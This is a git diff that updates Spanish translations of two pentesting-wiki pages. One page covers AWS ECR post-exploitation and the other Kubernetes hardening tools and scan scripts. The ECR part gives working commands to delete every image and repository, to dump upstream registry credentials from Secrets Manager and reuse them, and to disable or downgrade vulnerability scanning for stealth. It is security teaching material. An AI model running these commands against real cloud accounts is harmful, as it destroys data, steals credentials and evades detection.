mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har
This commit is contained in:
+51
-18
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
Para más información, consulta
|
||||
Para más información consulta
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Después de descargar las imágenes deberías **revisarlas en busca de información sensible**:
|
||||
Después de descargar las imágenes debes **revisarlas en busca de información sensible**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un atacante con cualquiera de estos permisos puede **crear o modificar una lifecycle policy para eliminar todas las imágenes del repositorio** y luego **eliminar todo el repositorio ECR**. Esto resultaría en la pérdida de todas las imágenes de contenedores almacenadas en el repositorio.
|
||||
Un atacante con cualquiera de estos permisos puede **crear o modificar una política de ciclo de vida para eliminar todas las imágenes del repositorio** y luego **eliminar por completo el repositorio ECR**. Esto provocaría la pérdida de todas las imágenes de contenedores almacenadas en el repositorio.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,11 +90,11 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
### Exfiltrate credenciales de registros upstream desde ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Si ECR Pull‑Through Cache está configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), las credenciales upstream se almacenan en AWS Secrets Manager con un prefijo de nombre predecible: `ecr-pullthroughcache/`. Los operadores a veces conceden a los admins de ECR un amplio acceso de lectura a Secrets Manager, lo que permite la exfiltración de credenciales y su reutilización fuera de AWS.
|
||||
Si ECR Pull‑Through Cache está configurado para registros upstream autenticados (Docker Hub, GHCR, ACR, etc.), las credenciales upstream se almacenan en AWS Secrets Manager con un prefijo de nombre predecible: `ecr-pullthroughcache/`. A veces los operadores conceden a los administradores de ECR un amplio acceso de lectura a Secrets Manager, permitiendo la exfiltration de credenciales y su reutilización fuera de AWS.
|
||||
|
||||
Requirements
|
||||
Requisitos
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
@@ -114,23 +114,23 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opcional: validar leaked creds contra el upstream (read-only login)
|
||||
Opcional: validar leaked creds contra el upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impacto
|
||||
- Leer estas entradas de Secrets Manager produce credenciales reutilizables del registro upstream (username/password or token), que pueden abusarse fuera de AWS para pull imágenes privadas o acceder a repositorios adicionales según los permisos del upstream.
|
||||
- Leer estas entradas de Secrets Manager revela credenciales reutilizables del registro upstream (username/password o token), que pueden ser abusadas fuera de AWS para obtener imágenes privadas o acceder a repositorios adicionales según los permisos upstream.
|
||||
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
### Sigilo a nivel de registro: deshabilitar o degradar el escaneo mediante `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un atacante con permisos de ECR a nivel de registry puede reducir o desactivar silenciosamente el escaneo automático de vulnerabilidades para TODOS los repositorios configurando la registry scanning configuration en BASIC sin reglas de scan-on-push. Esto evita que los nuevos pushes de imágenes sean escaneados automáticamente, ocultando imágenes vulnerables o maliciosas.
|
||||
Un atacante con permisos de ECR a nivel de registro puede reducir o desactivar silenciosamente el escaneo automático de vulnerabilidades para TODOS los repositorios al configurar la configuración de escaneo del registro en BASIC sin reglas de scan-on-push. Esto evita que los nuevos pushes de imágenes sean escaneados automáticamente, ocultando imágenes vulnerables o maliciosas.
|
||||
|
||||
Requisitos
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
- ecr:PutImageScanningConfiguration (opcional, por-repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verificación)
|
||||
|
||||
Degradación a nivel de registro a manual (sin escaneos automáticos)
|
||||
```bash
|
||||
@@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Prueba con un repo y una imagen
|
||||
Probar con un repo y una image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opcional: degradar más a nivel de repo
|
||||
Opcional: degradar aún más a nivel del repositorio
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,18 +168,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impacto
|
||||
- Las nuevas subidas de imágenes en todo el registro no se escanean automáticamente, reduciendo la visibilidad de contenido vulnerable o malicioso y retrasando la detección hasta que se inicie un escaneo manual.
|
||||
- Las nuevas cargas de imágenes en el registro no se escanean automáticamente, reduciendo la visibilidad de contenido vulnerable o malicioso y retrasando la detección hasta que se inicie un escaneo manual.
|
||||
|
||||
### Reducción del motor de escaneo a nivel de registro vía `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Reducir la calidad de detección de vulnerabilidades en todo el registro cambiando el motor de escaneo BASIC desde el predeterminado AWS_NATIVE al motor heredado CLAIR. Esto no desactiva el escaneo, pero puede cambiar materialmente los hallazgos/cobertura. Combínalo con una configuración de escaneo de registro BASIC sin reglas para que los escaneos sean solo manuales.
|
||||
### Degradación del motor de escaneo a nivel de registro mediante `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Reduce la calidad de detección de vulnerabilidades en todo el registro cambiando el motor de escaneo BASIC del valor predeterminado AWS_NATIVE al motor CLAIR legado. Esto no deshabilita el escaneo pero puede cambiar materialmente los hallazgos/cobertura. Combínalo con una configuración de escaneo BASIC del registro sin reglas para que los escaneos sean únicamente manuales.
|
||||
|
||||
Requisitos
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opcional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impacto
|
||||
- La configuración del registro `BASIC_SCAN_TYPE_VERSION` se establece en `CLAIR`, por lo que los escaneos BASIC posteriores se ejecutan con el motor degradado. CloudTrail registra la llamada API `PutAccountSetting`.
|
||||
- Configuración del registro `BASIC_SCAN_TYPE_VERSION` establecida en `CLAIR`, por lo que los escaneos BASIC posteriores se ejecutan con el motor degradado. CloudTrail registra la llamada API `PutAccountSetting`.
|
||||
|
||||
Pasos
|
||||
```bash
|
||||
@@ -200,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### Escanear imágenes de ECR en busca de vulnerabilidades
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
|
||||
|
||||
region=<region>
|
||||
profile=<aws_profile>
|
||||
|
||||
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
|
||||
|
||||
# Configure docker creds
|
||||
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
|
||||
|
||||
while read -r repo; do
|
||||
echo "Working on repository $repo"
|
||||
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
|
||||
if [ -z "$digest" ]
|
||||
then
|
||||
echo "No images! Empty repository"
|
||||
continue
|
||||
fi
|
||||
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
|
||||
echo "Pulling $url"
|
||||
docker pull $url
|
||||
echo "Scanning $url"
|
||||
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
|
||||
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
|
||||
# echo "Removing image $url"
|
||||
# docker image rm $url
|
||||
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Endurecimiento de Kubernetes
|
||||
# Kubernetes Hardening
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Herramientas para analizar un clúster
|
||||
## Herramientas para analizar un cluster
|
||||
|
||||
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
Realiza **varias comprobaciones de cumplimiento en el clúster de Kubernetes**. Incluye soporte para CIS, la National Security Agency (NSA) y la Cybersecurity and Infrastructure Security Agency (CISA), así como para el informe técnico de ciberseguridad sobre el endurecimiento de Kubernetes.
|
||||
Realiza **varias comprobaciones de cumplimiento en el cluster de Kubernetes**. Incluye soporte para CIS y para los informes técnicos de ciberseguridad de la National Security Agency (NSA) y de la Cybersecurity and Infrastructure Security Agency (CISA) sobre Kubernetes hardening.
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
@@ -27,30 +27,30 @@ powerpipe server
|
||||
```
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) es una herramienta de código abierto para K8s que proporciona una vista unificada para entornos K8s multicloud, incluyendo análisis de riesgo, cumplimiento de seguridad, visualizador de RBAC y escaneo de vulnerabilidades de imágenes. Kubescape escanea clústeres K8s, archivos YAML y HELM charts, detectando configuraciones erróneas según múltiples frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), vulnerabilidades de software y violaciones de RBAC (role-based-access-control) en las primeras etapas del pipeline CI/CD, calcula la puntuación de riesgo al instante y muestra las tendencias de riesgo a lo largo del tiempo.
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) es una herramienta de código abierto para K8s que ofrece un panel único para K8s multi-cloud, incluyendo análisis de riesgo, cumplimiento de seguridad, visualizador de RBAC y escaneo de vulnerabilidades en imágenes. Kubescape analiza clusters K8s, archivos YAML y charts HELM, detectando malas configuraciones según múltiples marcos (como el [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), vulnerabilidades de software y violaciones de RBAC (role-based-access-control) en etapas tempranas del pipeline CI/CD, calcula la puntuación de riesgo al instante y muestra las tendencias de riesgo a lo largo del tiempo.
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) es una utilidad que escanea un clúster de Kubernetes en tiempo real y **informa de problemas potenciales con los recursos desplegados y las configuraciones**. Sanea tu clúster basándose en lo que está desplegado y no en lo que hay en disco. Al escanear tu clúster, detecta configuraciones incorrectas y te ayuda a asegurarte de que se aplican las mejores prácticas, evitando así problemas futuros. Su objetivo es reducir la sobrecarga cognitiva que se afronta al operar un clúster de Kubernetes en entornos reales. Además, si tu clúster emplea un metric-server, informa de posibles sobreasignaciones o subasignaciones de recursos y trata de advertirte si tu clúster se queda sin capacidad.
|
||||
[**Popeye**](https://github.com/derailed/popeye) es una utilidad que escanea un Kubernetes cluster en vivo y **informa de posibles problemas con los recursos y las configuraciones desplegadas**. Sanitiza tu cluster basándose en lo que está desplegado y no en lo que hay en disco. Al escanear tu cluster, detecta configuraciones incorrectas y te ayuda a garantizar que las mejores prácticas estén en su lugar, evitando dolores de cabeza futuros. Su objetivo es reducir la sobrecarga cognitiva que se enfrenta al operar un Kubernetes cluster en entornos reales. Además, si tu cluster emplea un metric-server, informa sobre posibles asignaciones de recursos por exceso/insuficiencia e intenta advertirte si tu cluster se queda sin capacidad.
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
La herramienta [**kube-bench**](https://github.com/aquasecurity/kube-bench) comprueba si Kubernetes está desplegado de forma segura ejecutando las comprobaciones documentadas en el [**CIS Kubernetes Benchmark**].\
|
||||
La herramienta [**kube-bench**](https://github.com/aquasecurity/kube-bench) comprueba si Kubernetes está desplegado de forma segura ejecutando las verificaciones documentadas en el [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
|
||||
Puedes elegir:
|
||||
|
||||
- ejecutar kube-bench desde dentro de un contenedor (compartiendo el PID namespace con el host)
|
||||
- ejecutar un contenedor que instale kube-bench en el host y luego ejecutar kube-bench directamente en el host
|
||||
- instalar los últimos binarios desde la [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
||||
- instalar los binarios más recientes desde la [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
||||
- compilarlo desde el código fuente.
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
**[OBSOLETO]** La herramienta [**kubeaudit**](https://github.com/Shopify/kubeaudit) es una herramienta de línea de comandos y un paquete Go para **auditar clusters de Kubernetes** por diversas preocupaciones de seguridad.
|
||||
**[DEPRECATED]** La herramienta [**kubeaudit**](https://github.com/Shopify/kubeaudit) es una herramienta de línea de comandos y un paquete Go para **auditar Kubernetes clusters** por diversas cuestiones de seguridad.
|
||||
|
||||
Kubeaudit puede detectar si se está ejecutando dentro de un contenedor en un clúster. Si es así, intentará auditar todos los recursos de Kubernetes en ese clúster:
|
||||
Kubeaudit puede detectar si se está ejecutando dentro de un contenedor en un cluster. Si es así, intentará auditar todos los recursos de Kubernetes en ese cluster:
|
||||
```
|
||||
kubeaudit all
|
||||
```
|
||||
@@ -58,65 +58,65 @@ Esta herramienta también tiene el argumento `autofix` para **corregir automáti
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
**[DEPRECADO]** La herramienta [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) busca debilidades de seguridad en clústeres de Kubernetes. La herramienta fue desarrollada para aumentar la concienciación y la visibilidad de los problemas de seguridad en entornos de Kubernetes.
|
||||
**[OBSOLETO]** La herramienta [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) busca vulnerabilidades de seguridad en clusters de Kubernetes. La herramienta fue desarrollada para aumentar la conciencia y la visibilidad de los problemas de seguridad en entornos de Kubernetes.
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) tiene escáneres que buscan problemas de seguridad y objetivos donde puede encontrar esos problemas:
|
||||
[Trivy](https://github.com/aquasecurity/trivy) tiene scanners que buscan problemas de seguridad, y objetivos donde puede encontrar esos problemas:
|
||||
|
||||
- Imagen de contenedor
|
||||
- Sistema de archivos
|
||||
- Git Repository (remote)
|
||||
- Repositorio Git (remoto)
|
||||
- Imagen de máquina virtual
|
||||
- Kubernetes
|
||||
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
**[Parece no estar mantenido]**
|
||||
[**Parece no mantenido**]
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) es una herramienta de escaneo de vulnerabilidades y CIS Docker benchmark que permite a los usuarios obtener una evaluación precisa e inmediata del riesgo de sus clústeres de Kubernetes. Kubei escanea todas las imágenes que se están usando en un clúster de Kubernetes, incluidas las imágenes de los pods de aplicaciones y de sistema.
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) es una herramienta de escaneo de vulnerabilidades y CIS Docker benchmark que permite a los usuarios obtener una evaluación de riesgo precisa e inmediata de sus clústeres de Kubernetes. Kubei escanea todas las imágenes que se usan en un clúster de Kubernetes, incluyendo las imágenes de los pods de aplicación y de sistema.
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) es una herramienta para escanear un clúster de Kubernetes en busca de permisos riesgosos en el modelo de autorización Role-based access control (RBAC) de Kubernetes.
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) es una herramienta para escanear clústeres de Kubernetes en busca de permisos riesgosos en el modelo de autorización de control de acceso basado en roles (RBAC) de Kubernetes.
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) es una herramienta diseñada para probar otro tipo de comprobaciones de alto riesgo en comparación con las demás herramientas. Principalmente tiene 3 modos diferentes:
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) es una herramienta creada para probar otro tipo de comprobaciones de alto riesgo en comparación con las demás herramientas. Principalmente tiene 3 modos diferentes:
|
||||
|
||||
- **`find-role-relationships`**: Que encontrará qué AWS roles se están ejecutando en qué pods
|
||||
- **`find-secrets`**: Que intenta identificar secrets en recursos de K8s como Pods, ConfigMaps y Secrets.
|
||||
- **`test-imds-access`**: Que intentará ejecutar pods y tratar de acceder al metadata v1 y v2. ADVERTENCIA: Esto ejecutará un pod en el cluster, ten mucho cuidado porque quizá no quieras hacerlo!
|
||||
- **`find-role-relationships`**: Que encontrará qué roles de AWS se están ejecutando en qué pods
|
||||
- **`find-secrets`**: Que intenta identificar secretos en recursos de K8s como Pods, ConfigMaps y Secrets.
|
||||
- **`test-imds-access`**: Que intentará ejecutar pods e intentar acceder a la metadata v1 y v2. ADVERTENCIA: Esto ejecutará un pod en el clúster, ten mucho cuidado porque quizá no quieras hacer esto!
|
||||
|
||||
## **Auditar código IaC**
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) encuentra **vulnerabilidades de seguridad**, problemas de cumplimiento y malas configuraciones de infraestructura en las siguientes soluciones de **Infrastructure as Code**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM y especificaciones OpenAPI 3.0
|
||||
[**KICS**](https://github.com/Checkmarx/kics) encuentra **vulnerabilidades de seguridad**, problemas de cumplimiento y errores de configuración de infraestructura en las siguientes **soluciones de Infraestructura como Código**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM y especificaciones OpenAPI 3.0
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) es una herramienta de análisis estático de código para infrastructure-as-code.
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) es una herramienta de análisis estático de código para infraestructura como código.
|
||||
|
||||
Escanea infraestructura en la nube aprovisionada usando [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) o [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) y detecta malas configuraciones de seguridad y cumplimiento utilizando escaneo basado en grafos.
|
||||
Escanea infraestructura en la nube provisionada usando [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) o [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) y detecta errores de configuración de seguridad y cumplimiento usando escaneo basado en grafos.
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
[**kube-score**](https://github.com/zegl/kube-score) es una herramienta que realiza análisis estático de código de las definiciones de objetos de tu Kubernetes.
|
||||
[**kube-score**](https://github.com/zegl/kube-score) es una herramienta que realiza análisis estático de las definiciones de objetos de Kubernetes.
|
||||
|
||||
To install:
|
||||
|
||||
| Distribution | Command / Link |
|
||||
| Distribución | Comando / Link |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
|
||||
|
||||
## Herramientas para analizar archivos YAML & Helm Charts
|
||||
## Tools to analyze YAML files & Helm Charts
|
||||
|
||||
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
|
||||
```bash
|
||||
@@ -162,39 +162,111 @@ helm template chart /path/to/chart \
|
||||
--set 'config.urls[0]=https://dummy.backend.internal' \
|
||||
| kubesec scan -
|
||||
```
|
||||
## Escanear problemas de dependencias
|
||||
|
||||
### Escanear imágenes
|
||||
```bash
|
||||
#!/bin/bash
|
||||
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
|
||||
echo "All images found: $images"
|
||||
echo ""
|
||||
echo ""
|
||||
for image in $images; do
|
||||
# Run trivy scan and save JSON output
|
||||
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
|
||||
# Extract binary targets that have vulnerabilities
|
||||
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
|
||||
if [ -n "$binaries" ]; then
|
||||
echo "- **Image:** $image"
|
||||
while IFS= read -r binary; do
|
||||
echo " - **Binary:** $binary"
|
||||
jq -r --arg target "$binary" '
|
||||
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
|
||||
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
|
||||
' /tmp/result.json
|
||||
done <<< "$binaries"
|
||||
echo ""
|
||||
echo ""
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
### Escanear Helm charts
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# scan-helm-charts.sh
|
||||
# This script lists all Helm releases, renders their manifests,
|
||||
# and then scans each manifest with Trivy for configuration issues.
|
||||
|
||||
# Check that jq is installed
|
||||
if ! command -v jq &>/dev/null; then
|
||||
echo "jq is required but not installed. Please install jq and rerun."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# List all helm releases and extract namespace and release name
|
||||
echo "Listing Helm releases..."
|
||||
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
|
||||
|
||||
# Check if any releases were found
|
||||
if [ ! -s helm_releases.txt ]; then
|
||||
echo "No Helm releases found."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Loop through each Helm release and scan its rendered manifest
|
||||
while IFS=" " read -r namespace release; do
|
||||
echo "---------------------------------------------"
|
||||
echo "Scanning Helm release '$release' in namespace '$namespace'..."
|
||||
# Render the Helm chart manifest
|
||||
manifest_file="${release}-manifest.yaml"
|
||||
helm get manifest "$release" -n "$namespace" > "$manifest_file"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to get manifest for $release in $namespace. Skipping."
|
||||
continue
|
||||
fi
|
||||
# Scan the manifest with Trivy (configuration scan)
|
||||
echo "Running Trivy config scan on $manifest_file..."
|
||||
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
|
||||
echo "Completed scan for $release."
|
||||
done < helm_releases.txt
|
||||
|
||||
echo "---------------------------------------------"
|
||||
echo "Helm chart scanning complete."
|
||||
```
|
||||
## Consejos
|
||||
|
||||
### Kubernetes PodSecurityContext and SecurityContext
|
||||
### Kubernetes PodSecurityContext y SecurityContext
|
||||
|
||||
Puedes configurar el **security context of the Pods** (con _PodSecurityContext_) y de los **contenedores** que se van a ejecutar (con _SecurityContext_). Para más información lee:
|
||||
Puedes configurar el **contexto de seguridad de los Pods** (con _PodSecurityContext_) y de los **contenedores** que se van a ejecutar (con _SecurityContext_). Para más información lee:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-securitycontext-s.md
|
||||
{{#endref}}
|
||||
|
||||
### Endurecimiento de la API de Kubernetes
|
||||
### Kubernetes API Hardening
|
||||
|
||||
Es muy importante **proteger el acceso al Kubernetes Api Server** ya que un actor malicioso con suficientes privilegios podría abusar de él y dañar de muchas maneras el entorno.\
|
||||
Es importante asegurar tanto el **access** (**whitelist** orígenes que puedan acceder al API Server y denegar cualquier otra conexión) como la [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (siguiendo el principio de **mínimo** **privilegio**). Y definitivamente **nunca** **permitas** **solicitudes** **anónimas**.
|
||||
Es muy importante **proteger el acceso al Kubernetes API Server** ya que un actor malicioso con suficientes privilegios podría abusar de él y dañar de muchas maneras el entorno.\
|
||||
Es importante asegurar tanto el **acceso** (**whitelist** orígenes que pueden acceder al API Server y denegar cualquier otra conexión) como la [**autenticación**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (siguiendo el principio de **mínimo** **privilegio**). Y definitivamente **nunca** **permitas** **peticiones** **anónimas**.
|
||||
|
||||
**Common Request process:**\
|
||||
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
**Proceso común de las solicitudes:**\
|
||||
Usuario o K8s ServiceAccount –> Autenticación –> Autorización –> Admission Control.
|
||||
|
||||
**Consejos**:
|
||||
|
||||
- Cerrar puertos.
|
||||
- Evitar acceso anónimo.
|
||||
- NodeRestriction; sin acceso desde nodos específicos al API.
|
||||
- NodeRestriction; No permitir acceso desde nodos específicos a la API.
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- Básicamente evita que kubelets agreguen/eliminan/actualicen labels con un prefijo node-restriction.kubernetes.io/. Este prefijo de etiqueta está reservado para administradores para etiquetar sus Node objects con fines de aislamiento de workload, y a los kubelets no se les permitirá modificar etiquetas con ese prefijo.
|
||||
- Y además, permite a los kubelets agregar/eliminar/actualizar estas labels y prefijos de label.
|
||||
- Asegurar con labels el aislamiento seguro de cargas de trabajo.
|
||||
- Evitar que pods específicos accedan al API.
|
||||
- Evitar la exposición del ApiServer a Internet.
|
||||
- Básicamente evita que los kubelets añadan/elimininen/actualicen labels con el prefijo node-restriction.kubernetes.io/. Este prefijo de label está reservado para que los administradores etiqueten sus objetos Node para fines de aislamiento de workloads, y a los kubelets no se les permitirá modificar labels con ese prefijo.
|
||||
- Y además, permite a los kubelets añadir/eliminar/actualizar estas labels y prefijos de label.
|
||||
- Asegurar con labels el aislamiento seguro de workloads.
|
||||
- Evitar que pods específicos accedan a la API.
|
||||
- Evitar exponer el ApiServer a Internet.
|
||||
- Evitar acceso no autorizado mediante RBAC.
|
||||
- Proteger el puerto del ApiServer con firewall y whitelist de IPs.
|
||||
- Puerto del ApiServer protegido con firewall y whitelist de IPs.
|
||||
|
||||
### Endurecimiento de SecurityContext
|
||||
### SecurityContext Hardening
|
||||
|
||||
Por defecto se usará el usuario root cuando se inicie un Pod si no se especifica otro usuario. Puedes ejecutar tu aplicación dentro de un contexto más seguro usando una plantilla similar a la siguiente:
|
||||
```yaml
|
||||
@@ -227,27 +299,27 @@ allowPrivilegeEscalation: true
|
||||
|
||||
### Endurecimiento general
|
||||
|
||||
Debes actualizar tu entorno Kubernetes con la frecuencia necesaria para tener:
|
